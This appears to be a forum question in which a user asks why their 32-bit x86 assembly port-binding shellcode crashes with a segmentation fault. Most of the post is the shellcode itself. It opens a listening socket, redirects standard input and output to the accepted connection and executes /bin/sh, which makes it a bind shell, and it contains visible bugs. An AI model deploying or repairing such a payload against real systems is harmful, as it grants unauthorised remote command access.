title: segmentation fault in port-binding shellcode
body: <p>I am trying to open a listener using shellcode but i get segmentation error , i read that this error is due to writing into read only location in memory , and that -N option in the ld linker will solve it out which did not work for me.<br>
   the code :</p>
  
  <pre><code>BITS 32
  global _start
  _start:
  
  xor eax,eax
  xor ebx,ebx
  cdq
  
  push eax
  push byte 0x01
  push byte 0x02
  
  
  mov ecx,esp
  inc bl
  mov al,102
  int 80h
  mov esi,eax
  
  push edx
  push 0xAAAA02AA
  mov ecx,esp
  push byte 0x10
  push ecx
  push esi
  mov ecx,esp
  inc bl
  mov al,102
  int 80h
  
  push edx
  push esi
  mov ecx,esp
  mov byte bl,0x04
  mov al,102
  int 80h
  
  push edx
  push edx
  push esi
  mov ecx,esp
  inc bl
  mov al,102
  int 80h
  mov ebx,esp
  
  xor ecx,ecx
  mov cl,3
  
  loop:
  dec cl
  mov al,63
  int 80h
  jnz loop
  
  push edx
  push long 0x68732f2f
  push long 0x6e69622f
  mov ebx,esp
  push edx
  push ebx
  mov ecx,esp
  mov al,0x0b
  int 80h
  </code></pre>
  
  <p>i then run the following commands:
  nasm -f elf file.asm
  ld -N file.o -o file</p>
  
  <p>when i run file i get segmentation error, please help .</p>